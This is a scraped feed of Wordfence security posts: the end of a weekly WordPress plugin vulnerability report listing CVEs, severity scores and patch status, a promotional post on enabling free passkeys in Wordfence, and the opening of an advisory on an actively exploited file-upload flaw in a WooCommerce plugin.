CVE-2026-66674
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Simple CAPTCHA with Cloudflare Turnstile [simple-cloudflare-turnstile]

Researcher

More Details >

Social Contact Form (FormyChat) <= 2.15.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-77773
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Contact Form to Chat Apps | Click to Chat to Order – FormyChat [social-contact-form]

Researcher

More Details >

Sunshine Photo Cart <= 3.6 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-85037
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers [sunshine-photo-cart]

Researcher

More Details >

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent 3.2.9 – 3.5.2 – Unauthenticated Ticket Attachment Read

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81021
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent [supportcandy]

Researcher

More Details >

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent 3.3.6 – 3.5.2 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81022
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent [supportcandy]

Researcher

More Details >

SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments < 4.7.0 – Unauthorized WordPress Account Creation

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-75793
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments [surecart]

Researcher

More Details >

SureRank SEO – Meta Tags, Social Preview, XML Sitemap, Schema & Open Graph 1.6.2 – 1.10.0 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78152
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

SureRank SEO – Meta Tags, Social Preview, XML Sitemap, Schema & Open Graph [surerank]

Researcher

More Details >

Teddy Bear Customize Addon <= 1.0.5 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-14562
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Teddy Bear Customize Addon [teddy-bear-customize-addon]

Researcher

More Details >

Thanko Thank You Page Customizer for WooCommerce – Increase Your Sales <= 1.2.2 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81786
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

Thanko Thank You Page Customizer for WooCommerce – Increase Your Sales [woo-thank-you-page-customizer]

Researcher

More Details >

Travel <= 12.0.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-18042
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

More Details >

Travel <= 12.0.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-13144
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

More Details >

Travel <= 12.0.1 – Unauthenticated Insecure Direct Object Reference

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-13146
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

More Details >

Ultimate Gift Cards for WooCommerce < 3.2.10 – Unauthenticated Inflated Gift Card Credit Acquisition

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-19436
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Ultimate Gift Cards for WooCommerce [woo-gift-cards-lite]

Researcher

More Details >

Ultimate Gift Cards for WooCommerce 3.0.3 – 3.2.9 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-19439
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Ultimate Gift Cards for WooCommerce [woo-gift-cards-lite]

Researcher

More Details >

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder 5.0 – 5.2.7 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86407
Patch Status

Patched
Published
Sep 13, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

More Details >

WP Compress <= 7.22.01 – Missing Authorization to Unauthenticated Account Linking / Site Takeover via ‘force_ic_connect’ and ‘apikey’ Parameters

5.3

CVSS Rating
5.3 (Medium)
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP Compress – Instant Performance & Speed Optimization [wp-compress-image-optimizer]

Researcher

More Details >

WP Fast Total Search – The Power of Indexed Search <= 1.82.284 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-84821
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

WP Fast Total Search – The Power of Indexed Search [fulltext-search]

Researcher

More Details >

WP Travel – Ultimate Travel Booking System, Tour Management Engine <= 12.0.3 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81796
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

More Details >

WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services < 8.5.7 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87918
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services [chatbot]

Researcher

More Details >

WPBot <= 8.5.9 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-87916
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services [chatbot]

Researcher

More Details >

WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System 3.0.10 – 3.0.17 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86812
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System [wp-cafe]

Researcher

More Details >

WPFunnels <= 3.12.13 – Missing Authorization to Unauthenticated Arbitrary Product Price Manipulation via ‘wpfnl_load_payment’ AJAX Action

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-84908
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell [wpfunnels]

Researcher

More Details >

WPLP Cookie Consent <= 4.4.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82184
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

YITH WooCommerce Wishlist < 4.18.1 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-82305
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

YITH WooCommerce Wishlist [yith-woocommerce-wishlist]

Researcher

More Details >

ZHBackup – Backup, Restore & Migration <= 2.4.2 – Unauthenticated Information Exposure

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-81804
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

ZHBackup – Backup, Restore & Migration [zhbackup]

Researcher

More Details >

zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 – Missing Authorization

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-78361
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

zipMoney(Zip Co) Payments Plugin for WooCommerce [zipmoney-payments-woocommerce]

Researcher

More Details >

المنتور فارسی 2.7.10 – 2.8.1 – Payment Bypass to Unauthenticated Unauthorized Order Completion

5.3

CVSS Rating
5.3 (Medium)
CVE-ID

CVE-2026-86809
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

المنتور فارسی [persian-elementor]

Researcher

More Details >

Booking for Appointments and Events Calendar – Amelia <= 2.4.9 – Authenticated (Editor+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-62112
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

More Details >

Directory Kit <= 1.5.7 – Authenticated (Editor+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-16593
Patch Status

Unpatched
Published
Sep 12, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

More Details >

Mail Mint <= 1.31.0 – Authenticated (Custom+) SQL Injection via ‘status’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-19800
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Mail Mint – Email Marketing, Automation & WooCommerce Emails with AI Assistance [mail-mint]

Researcher

More Details >

Quentn WP <= 1.2.14 – Authenticated (Administrator+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-84113
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Quentn WP [quentn-wp]

Researcher

More Details >

Sky Addons for Elementor <= 3.8.4 – Authenticated (Editor+) SQL Injection

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-62109
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Sky Addons for Elementor [sky-elementor-addons]

Researcher

More Details >

WP BackItUp Community Edition <= 2.1.0 – Authenticated (Administrator+) Path Traversal to Arbitrary File Read via ‘backup_file’ Parameter

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-18386
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

WP BackItUp Community Edition [wp-backitup]

Researcher

More Details >

WP Crowdfunding <= 2.2.1 – Authenticated (Shop Manager+) SQL Injection via ‘wpneo_reward’ Post Meta

4.9

CVSS Rating
4.9 (Medium)
CVE-ID

CVE-2026-19944
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP Crowdfunding [wp-crowdfunding]

Researcher

More Details >

Temporary Login Without Password 1.5 – 1.9.8 – Authenticated (Administrator+) Privilege Escalation

4.7

CVSS Rating
4.7 (Medium)
CVE-ID

CVE-2026-77752
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Temporary Login Without Password [temporary-login-without-password]

Researcher

More Details >

Translate WordPress with GTranslate < 3.0.10 – Authenticated (Administrator+) Stored Cross-Site Scripting

4.4

CVSS Rating
4.4 (Medium)
CVE-ID

CVE-2025-15695
Patch Status

Patched
Published
Sep 9, 2026

Affected Software

Translate WordPress with GTranslate [gtranslate]

Researcher

More Details >

Advanced Contact form 7 DB <= 2.1.3 – Missing Authorization to Authenticated (Custom+) Unauthorized Data Import via ‘import_cf7_id’

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-18594
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Advanced Contact form 7 DB [advanced-cf7-db]

Researcher

More Details >

Advanced Customized Prompts <= 1.0.1 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-14566
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Advanced Customized Prompts [advanced-customized-prompts]

Researcher

More Details >

Awesome Support <= 6.3.9 – Missing Authorization to Authenticated (Subscriber+) Arbitrary User Denial via ‘user_id’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-19946
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Awesome Support – WordPress HelpDesk & Support Plugin [awesome-support]

Researcher

More Details >

BackWPup – WordPress Backup & Restore Plugin 5.2.2 – 5.7.4 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-86815
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

BackWPup – WordPress Backup & Restore Plugin [backwpup]

Researcher

More Details >

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) < 1.2.2 – Authenticated (Custom Role+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84025
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) [woo-bulk-editor]

Researcher

More Details >

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) < 1.2.2 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84023
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) [woo-bulk-editor]

Researcher

More Details >

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) < 1.2.2 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-84024
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) [woo-bulk-editor]

Researcher

More Details >

BuddyPress <= 14.3.3 – Insecure Direct Object Reference to Notifications Deletion

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2024-12145
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

BuddyPress [buddypress]

Researcher

More Details >

Builderall for WordPress <= 3.0.2 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Meta Modification via ‘ba_cheetah_data[post_id]’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-15823
Patch Status

Unpatched
Published
Sep 9, 2026

Affected Software

Builderall for WordPress [builderall-cheetah-for-wp]

Researcher

More Details >

Checkout Custom Fields Builder for WooCommerce <= 1.1.5 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation via ‘plugin’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-19802
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Checkout Custom Fields Builder for WooCommerce [checkout-custom-fields-builder-for-woocommerce]

Researcher

More Details >

Directory Kit <= 1.5.7 – Authenticated (Contributor+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-16592
Patch Status

Unpatched
Published
Sep 12, 2026

Affected Software

WP Directory Kit [wpdirectorykit]

Researcher

More Details >

Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) <= 4.1.22 – Authenticated (Subscriber+) Missing Authorization to Order Completion / Free Ticket Redemption

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-15398
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

ilGhera Reviso Exporter for WooCommerce <= 1.2.3 – Missing Authorization to Authenticated (Subscriber+) Agreement Grant Token Deletion via disconnect_callback Function

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-8615
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

ilGhera Reviso Exporter for WooCommerce [wc-exporter-for-reviso]

Researcher

More Details >

IMPress for IDX Broker <= 3.3.0 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81788
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

IMPress for IDX Broker [idx-broker-platinum]

Researcher

More Details >

MailMunch – Grow your Email List <= 3.2.5 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81783
Patch Status

Unpatched
Published
Sep 8, 2026

Affected Software

MailMunch – Grow your Email List [mailmunch]

Researcher

More Details >

Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits <= 3.2.2 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62089
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits [master-addons]

Researcher

More Details >

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates <= 3.4.0 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62132
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates 1.14.0 – 3.4.0 – Authenticated (Custom Role+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-82851
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

More Details >

Notiqoo – Order Notification & Customer Chat for WooCommerce < 1.4.14 – Missing Authorization to Authenticated (Contributor+) Arbitrary Option Modification

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-19840
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Notiqoo – Order Notification & Customer Chat for WooCommerce [wc-messaging]

Researcher

More Details >

Payment Plugins for PayPal WooCommerce <= 2.0.25 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-80341
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Payment Plugins for PayPal WooCommerce [pymntpl-paypal-woocommerce]

Researchers

More Details >

Product XML Feed Manager for WooCommerce – Google Shopping, Social Sites, Skroutz & More < 3.1.1 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87919
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Product XML Feed Manager for WooCommerce – Google Shopping, Social Sites, Skroutz & More [product-xml-feeds-for-woocommerce]

Researcher

More Details >

Quads Ads Manager for Google AdSense 3.0.4 – Authenticated (Subscriber+) Payment Bypass to Unpaid Ad Placement Acquisition

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-89050
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Quads Ads Manager for Google AdSense [quick-adsense-reloaded]

Researcher

More Details >

rtMedia for WordPress, BuddyPress and bbPress < 4.7.12 – Authenticated (Subscriber+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-88912
Patch Status

Patched
Published
Sep 13, 2026

Affected Software

rtMedia for WordPress, BuddyPress and bbPress [buddypress-media]

Researcher

More Details >

RTMKit <= 2.1.5 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62133
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

RTMKit [rometheme-for-elementor]

Researcher

More Details >

Simple Membership < 4.7.8 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-88764
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Simple Membership [simple-membership]

Researcher

More Details >

Site Kit by Google – Analytics, Search Console, AdSense, Speed <= 1.186.0 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62139
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Site Kit by Google – Analytics, Search Console, AdSense, Speed [google-site-kit]

Researcher

More Details >

Slim SEO – AI SEO Plugin, Lightweight, Fast & Automated <= 4.10.0 – Authenticated (Contributor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62113
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Slim SEO – AI SEO Plugin, Lightweight, Fast & Automated [slim-seo]

Researcher

More Details >

Sprout Invoices – Client Invoicing & Estimates < 20.8.16 – Authenticated (Subscriber+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87797
Patch Status

Patched
Published
Sep 12, 2026

Affected Software

Sprout Invoices – Client Invoicing & Estimates [sprout-invoices]

Researcher

More Details >

SSL Zen — SSL Certificate Installer & HTTPS Redirects < 4.7.40 – Authenticated (Subscriber+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-86781
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

SSL Zen — SSL Certificate Installer & HTTPS Redirects [ssl-zen]

Researcher

More Details >

Starter Templates: AI-Powered Website Templates for Elementor & Gutenberg <= 4.7.5 – Authenticated (Contributor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-62134
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Starter Templates: AI-Powered Website Templates for Elementor & Gutenberg [astra-sites]

Researcher

More Details >

Temporary Login Without Password < 1.9.9 – Authenticated (Custom Role+) Persistent Access After Login Revocation

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-77753
Patch Status

Patched
Published
Sep 10, 2026

Affected Software

Temporary Login Without Password [temporary-login-without-password]

Researcher

More Details >

Ultimate Gift Cards for WooCommerce <= 3.2.9 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-75861
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Ultimate Gift Cards for WooCommerce [woo-gift-cards-lite]

Researcher

More Details >

Unbounce Landing Pages <= 1.1.4 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81781
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

Unbounce Landing Pages [unbounce]

Researcher

More Details >

Visualizer – Tables & Charts Manager with Built-in AI Generator 4.0.0 – 4.0.5 – Authenticated (Contributor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-86782
Patch Status

Patched
Published
Sep 11, 2026

Affected Software

Visualizer – Tables & Charts Manager with Built-in AI Generator [visualizer]

Researcher

More Details >

WP Recipe Maker <= 10.8.0 – Missing Authorization to Authenticated (Contributor+) Arbitrary Recipe Ownership Takeover and Unpublishing via ‘[wprm-recipe]’ Shortcode

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-75905
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP Recipe Maker [wp-recipe-maker]

Researcher

More Details >

WP-Stateless – Google Cloud Storage <= 4.4.1 – Missing Authorization to Authenticated (Subscriber+) Settings Update

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81801
Patch Status

Patched
Published
Sep 8, 2026

Affected Software

WP-Stateless – Google Cloud Storage [wp-stateless]

Researcher

More Details >

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode 4.0.2 – 4.4.1 – Missing Authorization to Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85132
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

WPLP Cookie Consent <= 4.4.1 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85133
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

WPLP Cookie Consent <= 4.4.1 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-82185
Patch Status

Patched
Published
Sep 7, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

This database is continuously updated, maintained, and populated by Wordfence’s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us through our Bug Bounty Program, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (September 7, 2026 to September 13, 2026) appeared first on Wordfence.

]]> Boost Engagement with Free Passkeys by Wordfence https://swiftupdates.ca/boost-engagement-with-free-passkeys-by-wordfence/ Tue, 15 Sep 2026 20:56:04 +0000 https://swiftupdates.ca/boost-engagement-with-free-passkeys-by-wordfence/ Imagine you can sign in with one click. Now imagine all the users on your WooCommerce store or WordPress powered website can sign in with one click. Firstly it makes your life a lot easier. But more importantly, you’ve removed friction from users logging in to make purchases, to engage in your forums, and to engage with your website. When you’re running at scale, even a small friction reduction yields large dividends.

Wordfence 9 introduces passkeys, and passkeys provide a huge friction reduction because your user no longer has to remember their password or retrieve it from a password manager and copy/paste. They can simply sign in with a single click. And the friction is even less on mobile with fingerprint or facial recognition enabled passkeys.

Let’s be honest: Security almost always adds friction. From having to login, to using 2FA, to password changes, to basic security hygiene. By adding security controls, security practitioners like us generally add friction to your daily life, and to your users. Which is why it makes me very happy when we launch a feature that removes friction. And weirdly, the more friction you remove, the more secure it is. What I mean by that is, if you disable the ability to sign in using a password, and only use passkeys, you become less vulnerable to phishing attempts.

Passkeys have historically been a feature that other WordPress security plugins have charged for. Our overarching philosophy at Wordfence for how we decide to charge for something is: if it costs us money to provide then we feel OK about sharing that cost with our customers. Passkeys are free for us to provide and are simply an algorithmic implementation, and so we feel pretty good about being able to make it completely free. I’m also very proud of what our team accomplished with the implementation, because it’s rock solid and gives you the option to have multiple passkeys across multiple devices, reducing the likelihood of you locking yourself out.

Enable passkeys with the Free or Paid version of Wordfence today, and promote it to your users to immediately reduce friction and boost site engagement.

Mark Maunder — Wordfence Founder & CEO

How to Get Started With Passkeys in Wordfence

Passkeys are available in both the free and paid versions of Wordfence, and take about a minute to enable.

1. Open Login Security

Go to Wordfence → Login Security. If passkeys are not enabled yet, you will see the option to turn them on, along with a summary of how they work.

Note: You must have the right permissions, typically users assigned the admin role, to edit Login Security Settings.

The Wordfence My Passkeys tab with passkeys not yet enabled, showing the Enable Passkeys button and a three-step summary: enable passkeys, users register a passkey, users sign in with no password needed.

2. Enable passkeys and choose who can use them

On the Settings tab, switch Enable passkeys on. Once enabled, every role defaults to Optional, which means users can register a passkey but can still sign in with their password. Setting a role to Required is what disables password sign-in for that role, which is the stronger anti-phishing position.

The Wordfence Login Security settings screen with Enable passkeys switched on, and the role table below it showing passkeys set to Optional for Administrator, Editor, Author, Contributor and Subscriber.

3. Add your first passkey

On the My Passkeys tab, give the passkey a name and select the plus sign to add it. Your device will ask for a fingerprint, a face scan, a PIN, or you can use a password manager. You can register a passkey on each device you use, so losing one does not lock you out.

The same screen is where you choose whether a password stays available as a backup, or whether the account signs in with Passkeys only. Before signing out of your site, be sure to test your passkeys if you have opted for Passkeys only.

The Wordfence My Passkeys tab with one registered passkey named passkey-new, and a How do you want to log in? card offering either username and password as a backup or passkeys only.

4. Sign in with one click

From then on, the WordPress login screen offers Log In with a Passkey. No password to remember, retrieve, or type (this is why passkeys enable what is referred to as “passwordless login”).

A WordPress login form showing the usual username and password fields with a Log In with a Passkey button below them, offering passwordless sign-in as an alternative.

Passkeys strengthen one layer of your site’s security, while increasing convenience and reducing friction for website users and admins.

Wordfence is designed for defense in depth by giving you a layered approach to security with our range of features. Passkeys protect the login layer by removing the password an attacker would otherwise try to steal, phish or reuse.

Passkeys are available for free in the Wordfence plugin — enable them today to add a new layer of security to your WordPress sites.

The post Boost Engagement with Free Passkeys by Wordfence appeared first on Wordfence.

]]> Attackers Actively Exploiting Critical Vulnerability in WooCommerce Wholesale Lead Capture Plugin https://swiftupdates.ca/attackers-actively-exploiting-critical-vulnerability-in-woocommerce-wholesale-lead-capture-plugin/ Mon, 14 Sep 2026 19:50:16 +0000 https://swiftupdates.ca/attackers-actively-exploiting-critical-vulnerability-in-woocommerce-wholesale-lead-capture-plugin/ On February 20th, 2026, a critical Unauthenticated Arbitrary File Upload vulnerability was publicly disclosed in WooCommerce Wholesale Lead Capture, a premium WordPress plugin with an estimated 6,000 active installations. This vulnerability can be leveraged by unauthenticated attackers to upload arbitrary files, including PHP backdoors, and achieve remote code execution. We added this vulnerability to the Wordfence Intelligence vulnerability database on February 25th, 2026. The Wordfence Firewall has already blocked over 100,000 exploit attempts targeting this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in WooCommerce Wholesale Lead Capture on February 27, 2026. Sites using the free version of Wordfence received the same protection 30 days later on March 29, 2026.

Considering this vulnerability is being actively exploited, we urge users to ensure their sites are updated with the latest patched version of WooCommerce Wholesale Lead Capture, version 2.0.3.2 at the time of this writing, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

Woocommerce Wholesale Lead Capture <= 2.0.3.1 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-27540
Affected Version(s)
<= 2.0.3.1
Patched Version
2.0.3.2

Affected Software

Wholesale Lead Capture Plugin for WooCommerce [woocommerce-wholesale-lead-capture]

Researcher

